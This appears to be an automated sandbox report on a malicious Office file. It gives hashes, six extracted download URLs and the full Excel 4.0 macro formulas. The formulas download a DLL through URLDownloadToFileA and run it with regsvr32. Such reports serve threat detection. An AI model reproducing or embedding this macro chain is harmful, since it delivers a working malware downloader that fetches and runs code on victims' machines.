General
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Target
tcivdsdw
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Size
50KB
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MD5
793c5a832ea9b3c4a225bc96b4449bc2
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SHA1
168afc78144b659b18b606a26c3e9a6343dd104a
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SHA256
894658b992050ab6d7ee061f083a48264ce56c1b4fbc5ac87c142765405a47f7
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SHA512
df041addb6c8113b2add5439f8ce258016233a47a13a3d540187872e4ac25fe3ac87b016bb391a703e0cb73189f1720c0e723b6df47ef971238312ed77a9b607
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SSDEEP
768:V69cyRJvh5wVkTHmKNx9gcpLy4TB8wNF2XpL2rQUydmRSLLMO:VwJJvhqkTGKL9lPRNc5eQpdmRUMO
Malware Config
Extracted
http://harleyqueretaro.com/renew2019/Back2016-12-22/cv/data/RjuiFMp4Fsp/
http://hoatuoiso1.com/replace/fVea/
https://rumkeke.com/wp-admin/A8/
https://www.restaurantgaig.com/wp-includes/HLDoANj/
http://www.grandfurniture.com/thegrandbrands/eGd55tEm9qkPNOhViP/
http://www.hiway91.com/wp-content/Y/
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formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://harleyqueretaro.com/renew2019/Back2016-12-22/cv/data/RjuiFMp4Fsp/","..\rulm.dll",0,0) =IF('EGSBBB'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://hoatuoiso1.com/replace/fVea/","..\rulm.dll",0,0)) =IF('EGSBBB'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://rumkeke.com/wp-admin/A8/","..\rulm.dll",0,0)) =IF('EGSBBB'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.restaurantgaig.com/wp-includes/HLDoANj/","..\rulm.dll",0,0)) =IF('EGSBBB'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.grandfurniture.com/thegrandbrands/eGd55tEm9qkPNOhViP/","..\rulm.dll",0,0)) =IF('EGSBBB'!D20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.hiway91.com/wp-content/Y/","..\rulm.dll",0,0)) =IF('EGSBBB'!D22<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\rulm.dll") =RETURN()
Signatures
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Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
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tcivdsdw